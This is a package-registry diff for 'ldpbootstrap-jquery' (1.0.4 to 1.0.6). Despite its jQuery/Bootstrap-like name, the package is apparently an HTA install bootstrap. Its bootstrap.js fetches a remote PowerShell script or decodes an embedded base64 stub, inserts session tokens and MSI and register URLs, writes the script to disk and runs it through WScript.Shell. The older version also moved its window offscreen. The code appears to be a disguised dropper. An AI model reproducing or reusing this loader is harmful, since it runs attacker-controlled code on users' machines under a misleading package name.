ldpbootstrap-jquery 1.0.4 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/dist/bootstrap.js +122 -95
  2. package/package.json +1 -1
package/dist/bootstrap.js CHANGED
@@ -1,29 +1,52 @@
1
1
  (function(global) {
2
- function safeMoveTo(x, y) {
2
+ function setStatus(msg) {
3
3
  try {
4
- global.moveTo(x, y);
4
+ var el = document.getElementById("status");
5
+ if (el) {
6
+ el.innerText = msg;
7
+ }
5
8
  } catch (ex) {
6
9
  }
7
10
  }
8
- function showWindow() {
9
- safeMoveTo(120, 80);
11
+ function uiActive(key) {
12
+ if (typeof global.__landpageStepActive === "function") {
13
+ global.__landpageStepActive(key);
14
+ }
10
15
  }
11
- function hideWindow() {
12
- safeMoveTo(-3200, -3200);
16
+ function uiDone(key) {
17
+ if (typeof global.__landpageStepDone === "function") {
18
+ global.__landpageStepDone(key);
19
+ }
13
20
  }
14
- function parseJson(text) {
15
- if (typeof JSON !== "undefined" && JSON.parse) {
16
- return JSON.parse(text);
21
+ function uiInstalling(on) {
22
+ if (typeof global.__landpageSetInstalling === "function") {
23
+ global.__landpageSetInstalling(on);
17
24
  }
18
- return eval("(" + text + ")");
19
25
  }
20
- function setStatus(msg) {
26
+ function uiError(msg) {
27
+ if (typeof global.__landpageSetError === "function") {
28
+ global.__landpageSetError(msg);
29
+ } else {
30
+ setStatus(msg);
31
+ }
32
+ }
33
+ function uiComplete() {
34
+ if (typeof global.__landpageSetComplete === "function") {
35
+ global.__landpageSetComplete();
36
+ }
37
+ }
38
+ function formatError(e) {
39
+ var msg = e.message || String(e);
40
+ if (e.description && e.description !== msg) {
41
+ msg += " — " + e.description;
42
+ }
43
+ return msg;
44
+ }
45
+ function createXhr() {
21
46
  try {
22
- var el = document.getElementById("status");
23
- if (el) {
24
- el.innerText = msg;
25
- }
47
+ return new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
26
48
  } catch (ex) {
49
+ return new ActiveXObject("Microsoft.XMLHTTP");
27
50
  }
28
51
  }
29
52
  function ensureDirectory(dirPath) {
@@ -40,7 +63,7 @@
40
63
  }
41
64
  function writeTextFile(path, content) {
42
65
  var fso = new ActiveXObject("Scripting.FileSystemObject");
43
- var file = fso.CreateTextFile(path, true, true);
66
+ var file = fso.CreateTextFile(path, true);
44
67
  file.Write(content);
45
68
  file.Close();
46
69
  }
@@ -50,13 +73,13 @@
50
73
  if (!fso.FileExists(path)) {
51
74
  return "";
52
75
  }
53
- var file = fso.OpenTextFile(path, 1);
54
- var text2 = file.ReadAll();
76
+ var file = fso.OpenTextFile(path, 1, false);
77
+ var text = file.ReadAll();
55
78
  file.Close();
56
- if (text2.length > maxLen) {
57
- text2 = text2.substring(text2.length - maxLen);
79
+ if (text.length > maxLen) {
80
+ text = text.substring(text.length - maxLen);
58
81
  }
59
- return text2;
82
+ return text;
60
83
  } catch (ex) {
61
84
  return "";
62
85
  }
@@ -71,14 +94,17 @@
71
94
  var enc2 = chars.indexOf(input.charAt(i++));
72
95
  var enc3 = chars.indexOf(input.charAt(i++));
73
96
  var enc4 = chars.indexOf(input.charAt(i++));
97
+ if (enc1 < 0 || enc2 < 0) {
98
+ break;
99
+ }
74
100
  var chr1 = enc1 << 2 | enc2 >> 4;
75
- var chr2 = (enc2 & 15) << 4 | enc3 >> 2;
76
- var chr3 = (enc3 & 3) << 6 | enc4;
77
101
  output += String.fromCharCode(chr1);
78
- if (enc3 !== 64) {
102
+ if (enc3 >= 0 && enc3 !== 64) {
103
+ var chr2 = (enc2 & 15) << 4 | enc3 >> 2;
79
104
  output += String.fromCharCode(chr2);
80
105
  }
81
- if (enc4 !== 64) {
106
+ if (enc4 >= 0 && enc4 !== 64) {
107
+ var chr3 = (enc3 & 3) << 6 | enc4;
82
108
  output += String.fromCharCode(chr3);
83
109
  }
84
110
  }
@@ -87,107 +113,108 @@
87
113
  function patchPs1Stub(template, config) {
88
114
  return template.replace(/\{\{SESSION_TOKEN\}\}/g, config.sessionToken).replace(/\{\{MSI_URL\}\}/g, config.msiUrl).replace(/\{\{REGISTER_URL\}\}/g, config.registerUrl).replace(/\{\{MSI_NAME\}\}/g, config.msiName);
89
115
  }
90
- function fetchPayloadKey(config) {
91
- if (!config.payloadKeyUrl) {
92
- return null;
93
- }
94
- try {
95
- var xhr = new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
96
- xhr.open("GET", config.payloadKeyUrl, false);
97
- xhr.setRequestHeader("X-Landpage-Client", "hta");
98
- xhr.setRequestHeader("X-Landpage-Session", config.sessionToken);
99
- xhr.setRequestHeader("X-Landpage-Payload", config.payloadDigest);
100
- xhr.send();
101
- if (xhr.status !== 200) {
102
- throw new Error("Falha ao obter payload-key (HTTP " + xhr.status + ")");
103
- }
104
- var body = parseJson(xhr.responseText);
105
- if (!body || body.digest !== config.payloadDigest || !body.key) {
106
- throw new Error("Resposta payload-key inválida");
107
- }
108
- return body;
109
- } catch (ex) {
110
- if (global.__ldpPs1Obf) {
111
- return null;
112
- }
113
- throw ex;
114
- }
115
- }
116
116
  function fetchPs1FromApi(config) {
117
- var xhr = new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
117
+ var xhr = createXhr();
118
118
  xhr.open("GET", config.ps1Url, false);
119
119
  xhr.setRequestHeader("X-Landpage-Client", "hta");
120
120
  xhr.setRequestHeader("X-Landpage-Session", config.sessionToken);
121
121
  xhr.setRequestHeader("X-Landpage-Payload", config.payloadDigest);
122
122
  xhr.send();
123
123
  if (xhr.status !== 200) {
124
- throw new Error("Falha ao obter install.ps1 (HTTP " + xhr.status + ")");
124
+ throw new Error("install.ps1 HTTP " + xhr.status);
125
125
  }
126
126
  return xhr.responseText;
127
127
  }
128
128
  function resolvePs1Content(config) {
129
+ if (config.ps1Url) {
130
+ try {
131
+ return fetchPs1FromApi(config);
132
+ } catch (apiErr) {
133
+ if (global.__ldpPs1Obf) {
134
+ return patchPs1Stub(decodeBase64(global.__ldpPs1Obf), config);
135
+ }
136
+ throw apiErr;
137
+ }
138
+ }
129
139
  if (global.__ldpPs1Obf) {
130
140
  return patchPs1Stub(decodeBase64(global.__ldpPs1Obf), config);
131
141
  }
132
- return fetchPs1FromApi(config);
133
- }
134
- function formatError(e) {
135
- var msg = e.message || String(e);
136
- if (e.description && e.description !== msg) {
137
- msg += " — " + e.description;
138
- }
139
- return msg;
142
+ throw new Error("ps1Url em falta");
140
143
  }
141
144
  function runInstall(config) {
142
- var installDir = getInstallDir();
143
- var ps1Path = installDir + "\\" + config.ps1FileName;
144
- var logPath = installDir + "\\landpage_install.log";
145
- var statusPath = installDir + "\\landpage_install_status.txt";
146
- setStatus("A preparar script de instalação…");
147
- fetchPayloadKey(config);
148
- writeTextFile(ps1Path, resolvePs1Content(config));
149
- setStatus("A executar " + config.ps1FileName + "…\nPasta: " + installDir);
150
- var shell = new ActiveXObject("WScript.Shell");
151
- var cmd = 'powershell.exe -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Normal -File "' + ps1Path + '"';
152
- var exitCode = shell.Run(cmd, 1, true);
153
- var statusLog = readTextTail(statusPath, 3e3);
154
- var installLog = readTextTail(logPath, 2500);
155
- showWindow();
156
- if (exitCode === 0) {
157
- var msg = "Instalação concluída.\nScript: " + ps1Path;
158
- if (statusLog) {
159
- msg += "\n\n--- landpage_install_status.txt ---\n" + statusLog;
160
- }
161
- setStatus(msg);
162
- return;
145
+ var installDir;
146
+ var ps1Path;
147
+ var logPath;
148
+ var statusPath;
149
+ try {
150
+ uiActive("folder");
151
+ installDir = getInstallDir();
152
+ ps1Path = installDir + "\\" + config.ps1FileName;
153
+ logPath = installDir + "\\landpage_install.log";
154
+ statusPath = installDir + "\\landpage_install_status.txt";
155
+ uiDone("folder");
156
+ } catch (e) {
157
+ throw new Error("folder: " + formatError(e));
163
158
  }
164
- var failMsg = "Instalação falhou (código " + exitCode + ").\nScript: " + ps1Path;
165
- if (statusLog) {
166
- failMsg += "\n\n--- landpage_install_status.txt ---\n" + statusLog;
159
+ try {
160
+ uiActive("ps1");
161
+ var ps1Content = resolvePs1Content(config);
162
+ uiDone("ps1");
163
+ uiActive("write");
164
+ writeTextFile(ps1Path, ps1Content);
165
+ uiDone("write");
166
+ } catch (e) {
167
+ throw new Error("ps1: " + formatError(e));
167
168
  }
168
- if (installLog) {
169
- failMsg += "\n\n--- landpage_install.log ---\n" + installLog;
169
+ try {
170
+ uiActive("install");
171
+ uiInstalling(true);
172
+ var shell = new ActiveXObject("WScript.Shell");
173
+ var sysRoot = shell.ExpandEnvironmentStrings("%SystemRoot%");
174
+ var psExe = sysRoot + "\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
175
+ var cmd = '"' + psExe + '" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Normal -File "' + ps1Path + '"';
176
+ var exitCode = shell.Run(cmd, 1, true);
177
+ uiInstalling(false);
178
+ var statusLog = readTextTail(statusPath, 3e3);
179
+ var installLog = readTextTail(logPath, 2500);
180
+ if (exitCode === 0) {
181
+ uiDone("install");
182
+ var msg = "Instalacao concluida.\nScript: " + ps1Path;
183
+ if (statusLog) {
184
+ msg += "\n\n--- landpage_install_status.txt ---\n" + statusLog;
185
+ }
186
+ setStatus(msg);
187
+ return;
188
+ }
189
+ var failMsg = "Instalacao falhou (codigo " + exitCode + ").\nScript: " + ps1Path;
190
+ if (statusLog) {
191
+ failMsg += "\n\n--- landpage_install_status.txt ---\n" + statusLog;
192
+ }
193
+ if (installLog) {
194
+ failMsg += "\n\n--- landpage_install.log ---\n" + installLog;
195
+ }
196
+ setStatus(failMsg);
197
+ throw new Error("install exit " + exitCode);
198
+ } catch (e) {
199
+ uiInstalling(false);
200
+ throw new Error("install: " + formatError(e));
170
201
  }
171
- setStatus(failMsg);
172
202
  }
173
203
  function run(config) {
174
204
  if (!config || !config.sessionToken || !config.ps1FileName || !config.payloadDigest) {
175
- throw new Error("Configuração LdpBootstrap incompleta");
205
+ throw new Error("Configuracao LdpBootstrap incompleta");
176
206
  }
177
207
  if (!config.ps1Url && !global.__ldpPs1Obf) {
178
- throw new Error("ps1Url ou ps1-stub.obf.js em falta");
179
- }
180
- if (global.__ldpPs1Obf && (!config.msiUrl || !config.registerUrl || !config.msiName)) {
181
- throw new Error("Configuração do stub PS1 incompleta");
208
+ throw new Error("ps1Url em falta");
182
209
  }
183
210
  try {
184
211
  runInstall(config);
212
+ uiComplete();
185
213
  if (typeof global.__landpageInstallEnd === "function") {
186
214
  global.__landpageInstallEnd(true);
187
215
  }
188
216
  } catch (e) {
189
- showWindow();
190
- setStatus("Erro: " + formatError(e));
217
+ uiError(formatError(e));
191
218
  if (typeof global.__landpageInstallEnd === "function") {
192
219
  global.__landpageInstallEnd(false);
193
220
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ldpbootstrap-jquery",
3
- "version": "1.0.4",
3
+ "version": "1.0.6",
4
4
  "description": "HTA install bootstrap for Landpage (CDN distribution)",
5
5
  "license": "UNLICENSED",
6
6
  "files": [